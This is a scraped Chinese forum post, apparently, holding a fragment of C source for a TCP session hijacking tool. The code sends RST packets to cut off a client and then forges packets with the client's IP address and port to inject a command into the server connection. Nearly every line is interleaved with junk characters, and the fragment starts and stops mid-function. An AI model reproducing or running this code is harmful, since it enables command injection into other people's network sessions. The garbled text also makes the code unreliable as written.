- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
|
pTCPPacket->iphdr.sourceIP, pTCPPacket->tcphdr.th_sport, TRUE, FALSE); $ `; X$ l' l! o X: k/ ~2 I1 I/ n
//reset action flag
- d+ k& p' Z) |- x8 g ResetActionAllFlag();
2 Q9 X$ h3 l* B/ z& E: p }
. V$ r7 m: @. A5 t8 X //start hijack
) |1 V0 I+ {" O* S; {: u9 A else if(g_dwAction == ACTION_HIJACK)
4 ]9 }# H6 x( B, W1 k! P { 4 t; K$ b& y) @! K% B+ q$ T
//send rst packet to client
2 O( b: r8 t* Z SendRstPacket(pTCPPacket->tcphdr.th_ack, pTCPPacket->tcphdr.th_seq); ; T! z/ M& }/ E4 L7 j# K
//send hijack packet to client 7 `8 b. p7 O0 C9 J" x
SendHiJackPacket(pTCPPacket);
# w' ^8 t, ~( ]4 n i6 p; } //reset action flag 8 [/ G% v/ n6 Z- c% b
ResetActionAllFlag();
9 L+ Y$ Z9 ^; v! h4 P& G# l! v }
Q+ N1 |. y a1 C }
* Z% [" }3 G2 v- b1 a9 E0 @ //show the tcp data " F6 _% t2 Z, c' N
if( (g_dwAction == ACTION_WATCH) && (usDataLen) ) 2 t" }/ j% J$ z. I0 I
{ ) x g, R8 D9 [# T n
ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE); ! ^# x7 ~9 }. a3 }$ g( `0 y7 P
//暂不考虑IP、TCP头不是20字节的情况
$ i" V! ?" I7 B: ^* h //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen;
1 v" _2 p* ?) a- a8 L& J, q pStr = (char *)pTCPPacket + 54; 2 l3 L E% w+ Q- l$ W! B
for(i=0; i } 7 [1 g* ?: r& c% W k% \
}
# H+ u. a6 X/ i4 L! r- ^9 \0 n //debug output P" y) m& [. `& E- E4 \" d
//ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE); ; ~* H8 R1 \1 P
}//end of analyse packets while - ]' p, C- V) w. o9 L- E9 v) G
}//end of recv packets while
. Z8 F0 F- z; \: m J# [- M* O- @ PacketFreePacket(lpRecvPacket); + |; b& I7 e+ V4 V
return 0; : l$ L X4 \4 y5 K$ V* Q$ F! M
} " l% _8 @/ N/ e& h2 V$ A3 m
: R7 h2 s( a3 c- Y4 X3 R0 y
- ~( ~4 e/ G% [& ` A//
* [$ h: X7 Y: O3 P2 I9 t$ m7 n//功能:操作记录所有连接信息的单向链表
7 p2 K- B3 b6 g/ b/ H// 8 W* B- y- f2 s: I
DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP,
: R" c$ c8 j0 D: f! ^: E USHORT uClientPort, BOOL bDelete, BOOL bAddNew) 7 x* O4 K6 A9 C! w. p/ p R
{ 1 j# {/ n! X- J/ K( C
PCONNINFO pNew, pTmp;
5 q( J" Z7 G# f% c* k
& u w% o2 R* P# N8 E! s3 t pTmp = g_pConnHead;
0 b; `& M4 K+ P while(pTmp)
, o) y9 A* S( x D { " w; }4 D8 R! |
if(pTmp->bActive) n3 B. F/ w4 O' i) A
{ 4 c" N( E% b' a, ]( q
//found it
5 S( j9 L) D4 B9 _ { if( (pTmp->dwServerIP == dwServerIP) &&
% {; j+ V8 \, ^# w D (pTmp->uServerPort == uServerPort) &&
- B% ?. I7 ^% `. j (pTmp->dwClientIP == dwClientIP) &&
, X8 ~; x: h2 n/ @# ? (pTmp->uClientPort == uClientPort) ) , J: a! s h8 l. d- Q
{
2 k, s+ ~3 n3 n9 Q+ Y if(bDelete) v; l/ R4 U9 F6 S7 t
{ 9 e8 w5 m7 ?4 d s- F, q
pTmp->bActive = FALSE; - V. y- a5 q+ e- R- f. R
return 0; . {0 R8 G6 G) ~* O, u
} # ? o# X1 C" ^ V* h" n" [
else return pTmp->ident;
9 c9 j: l& D, K6 J' J0 j2 U }
5 m* ^4 u( w3 G* X9 p }
2 O, x- \7 e: o pTmp = pTmp->Next; 1 g0 A6 X4 q$ k+ g3 T
}
+ q+ Z0 f: b6 l. r4 N1 W, n& [ //not found, create new node
* J. A' x$ U3 }8 ^' G0 _) X if( (!pTmp) && (!bDelete) && (bAddNew) ) & Z2 |; F) `7 f6 X
{
8 _* P0 ?3 z: R, S; t //search unactive note
5 U: f5 Z- g" D. }! G pTmp = g_pConnHead;
9 b: V4 E1 G( _9 m8 X$ P( c while(pTmp)
$ @- [3 y+ r% z4 W& b$ J5 T) j {
* M0 @8 S+ Q, P! `3 N+ w if(!pTmp->bActive) break; 3 c9 E1 q8 g" W
pTmp = pTmp->Next; ( z. L( s; r6 `* Z
}
5 ^2 m6 l. W/ t; m* @ //found a unactive node
8 W0 s+ \7 b2 J9 V: v+ E if(pTmp) ! o) y( D9 | `8 L4 }$ s
{ / y: P$ F7 K7 k* O& y
pTmp->dwServerIP = dwServerIP;
I4 x0 @3 P7 U5 Z/ z pTmp->uServerPort = uServerPort; 9 }# J x$ I4 o# B" I; {0 f2 G
pTmp->dwClientIP = dwClientIP;
0 r, F! Z& Y4 L$ b/ G# Y( I3 W pTmp->uClientPort = uClientPort; . _* t* O6 C# h2 u6 m0 X# B3 a
pTmp->bActive = TRUE; 2 k7 l' n4 U! v5 Z5 }9 \
return pTmp->ident; 9 j. E7 x$ v( K0 m
}
1 r6 V8 k9 ]- P, W \2 `7 d; w //not found,create new node 1 M. U0 W" N, \" `% I7 J
pNew = (PCONNINFO)malloc(sizeof(CONNINFO)); ' L9 U5 W8 R8 Z
if(!pNew)
: ^& P$ q! r# k" _& t( V7 G { ( o. C6 K+ Z( w& C. J i
printf("malloc for link node error:%d\n", GetLastError()); 8 _2 U* @/ Y g9 B+ c/ K7 y
return 0; ( w3 d2 m, I- ` S7 f5 g
} * t) u1 q6 N! B) v" G5 J2 d
//fill the struct
) q4 L' a( O% n) t- @- o, ] pNew->bActive = TRUE; ) R/ H) T+ h7 c) G7 `
pNew->dwServerIP = dwServerIP; " g) K) j5 g: L
pNew->uServerPort = uServerPort; : T: P3 g0 j- q) g" I& A
pNew->dwClientIP = dwClientIP;
% K" Q) T- B1 k) S; S; ^* l pNew->uClientPort = uClientPort; 9 @" K$ V u# S N g
pNew->ident = ++g_ident;
/ ~. ~! V O3 B; {, O5 R8 X pNew->Next = NULL; 1 ]& b: o4 P/ M$ ^: b8 E
//add new node to link
& M' i- C& E% ^ Q/ b if(!g_pConnHead) ( q, K! m- u- T/ p4 J
g_pConnHead = g_pConnLast = pNew; 7 I# q9 }% n, Q4 q3 @3 }- ]+ k$ M
else ( H- C/ V: {2 p# Y; p
{ + \% M- n! B3 U3 Q7 q; K! T
g_pConnLast->Next = pNew; p e& y9 e9 f C6 d. o! s1 l
g_pConnLast = pNew;
1 g" T; p1 [# t2 N; c, s4 ~ }
6 L1 e" H4 t9 p1 ]7 h0 w return pNew->ident; ! [1 x' P; D5 r3 A7 `$ ?
}
: Q- _3 w _8 m! U return 0; 1 }! B, ? B) v& q2 M$ E
}
5 H6 s! R* L, H, R- m
& I P) s2 h; X. B: i2 ^//
8 V: H6 J7 }1 \/ }& ~0 d5 T# s7 F//功能:判断一个数据包是不是只有ACK标志
: H5 f8 [7 v2 K# ?9 ^// & c: |1 T8 d- P. M3 K9 l; X7 w3 e
BOOL IsACKPacket(unsigned char flag) 6 \4 ^; C9 b# A9 X
{ $ V) f6 d# p9 p5 o5 J5 [4 A
int i, j=1;
+ L5 V9 h3 I5 w8 d for(i=0 ; i<4; i++)
1 }+ R, I1 B" }8 P. w1 D3 U: @# g- M { " u6 s3 ]! ?* n
if(flag & j) return FALSE; ' @' b+ M- U8 s9 X/ {/ k
j <<= 1;
4 v3 S/ F- l+ N: {# }' A | }
, l8 J$ A9 O- |/ @1 u if(!(flag & 0x10)) return FALSE;//is ack?
T6 j( j$ G* _ if(flag & 0x20) return FALSE;
, v$ Y2 F6 u# ], a: F return TRUE;
! w9 b4 x! N1 o! e; A9 Y}
; i5 W3 n& F' b- S9 B: v7 ^1 m
+ V: P1 d% e/ ^3 h! N+ v0 d0 _// 1 ~5 M; X- n3 D4 q
//功能:伪装成Client给Server发送数据包
6 J% s6 k+ Q+ u2 r// ; {/ ^3 N" b+ Z8 Z2 c
BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
( e) W* C8 s: Y! ^7 h{
( S% }6 B. b/ G2 a# [- b+ |6 m! c' ` A- t# z- K
char szBuff[1520];
1 X$ P# ?: Z) g4 A! S% k, i PSDHDR psdhdr;
. h0 d/ S7 Y6 B6 A- h PTCPPACKET pHiJackPacket = NULL; & z* |, N8 r- k( {
BOOL bRet = FALSE;
2 j4 @5 k5 J. E6 [7 o
! A9 `0 I f. y" g ?( I& n" }/ i) } __try
& j& c1 m# S F# Y' {. m { ) O e3 n& B3 }" C, m
//
2 z- N" o; v% M if(!g_pCurrCtrlConn) __leave; " u/ f( ]; s0 J2 b* v
//allocate memory for hijack packet / T; k# M/ d- h* N2 {
pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET));
0 i# c! O! O2 L" ~ if(!pHiJackPacket)
$ {6 m G2 F5 i, } { . j o" v2 k V1 ^
printf("malloc error:%d\n", GetLastError());
. Z" \" F" t( ]( c5 ^ __leave; y) ?# q7 I$ j2 ]
} : f: o# a* r' u
memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET));
}* C( O1 v4 S2 D, ?. B; O //-------------- modify the packet ---------------// 9 ?2 j& K* @( t" a
//modify ethernet head d" g# C2 |0 z5 A' L
memcpy(pHiJackPacket->ehhdr.DestMAC, g_szServerSideMAC, 6); , R2 @& V- m( z% c7 R
memcpy(pHiJackPacket->ehhdr.SourceMAC, g_szOwnMAC, 6);
6 d" A/ Q1 N" |8 b5 O1 a% T6 s0 w //modify ip head . ^) S+ E; f% w$ y6 e8 X7 C* i
pHiJackPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long)); 6 |+ x2 X6 T9 y* l% K/ `& ~
pHiJackPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand));
9 q( j+ j- c1 _0 v7 L pHiJackPacket->iphdr.ident += 1;//标识加1
; c* [' C8 W# V pHiJackPacket->iphdr.checksum = 0;
/ U8 Y* D1 `5 @+ C" U! ?$ ` pHiJackPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwClientIP;//源IP地址,伪装成client + {2 M, k5 ~4 {* x2 s' c4 k9 K
pHiJackPacket->iphdr.destIP = g_pCurrCtrlConn->dwServerIP;//目的IP地址,接收hijack包的地址
9 [: Q' ?, ?/ y0 n //modify tcp head ' k0 Y" x: c/ m# P# L- ^4 {+ O
pHiJackPacket->tcphdr.th_sport = g_pCurrCtrlConn->uClientPort;//client's port : i" y: T/ w4 @$ _
pHiJackPacket->tcphdr.th_dport = g_pCurrCtrlConn->uServerPort;//server's port 7 A% s: Q9 l& d! j; F1 H( q% |) G
pHiJackPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4 << 4 | 0); 5 _& ?3 P1 x9 D# k0 R
pHiJackPacket->tcphdr.th_flag = 0x18;// PA 1 |' y# j2 g( J
pHiJackPacket->tcphdr.th_sum = 0;
6 T0 L2 p @6 m1 y# s5 B. S! x5 G pHiJackPacket->tcphdr.th_win = 0x3F44; # r* N5 D) _2 U4 O$ M$ J
//fill tcp psd head
& r8 X: J9 f6 Y9 U4 a psdhdr.saddr = pHiJackPacket->iphdr.sourceIP; 3 | g: q8 l+ A2 j. _) n4 x
psdhdr.daddr = pHiJackPacket->iphdr.destIP;
- U. {& x* j9 E. L. E6 S" J psdhdr.mbz = 0; ( w3 f) w+ b+ g- I* V( d
psdhdr.ptcl = IPPROTO_TCP;
# H" y/ g# }% i! ~2 Q$ @) V psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len
0 N# r6 }' t4 a, @( ~' m' \ //calculate tcp checksum $ O' j6 O) E5 C, u7 K S
memcpy(szBuff, &psdhdr, sizeof(PSDHDR));
; G4 o8 L5 F" ?% H- x/ D) x; b3 m memcpy(szBuff + sizeof(PSDHDR), &pHiJackPacket->tcphdr, sizeof(TCPHDR)); $ K. q: E' P, _- Q. `9 z
memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand)); / a2 I! c8 d3 J& r+ u, k2 w
pHiJackPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand)); 7 ~4 B/ u# ]; u+ A# j& L
//calculate IP checksum * C# o8 w% a3 \! @, Q, g/ j; y
pHiJackPacket->iphdr.checksum = checksum((USHORT *)&pHiJackPacket->iphdr, sizeof(IPHDR));
6 l' P# S% h y2 d //fill send buffer
1 P$ J& c7 i6 S2 C& W; ~5 h: B7 N memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET)); % t( w) C! D. S
memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand));
# ^ F- `3 I0 w8 d memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4);
! x1 [/ K+ T7 F memset(g_lpSendPacket->Buffer, 0, 1514); / V# @; a% G5 g
memcpy(g_lpSendPacket->Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand));
4 x. H8 }3 y% g, N' Y if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE) ' s8 T" S$ t. H; v) I
{
- K! [1 n! w5 F o% o, p, V* R! d5 ] printf("Error sending the hijack packets!\n");
; v# H/ p! y# A S: M5 ^$ @; { __leave; # [5 F$ ^1 J, I+ R5 Q
} & s7 E. D" _0 F& H! _& \- ]4 P
else printf("Send hijack packet ok!\n"); 9 f* z& W3 u9 \3 K0 q
bRet = TRUE;
8 N0 U# r( j$ W$ i } |
|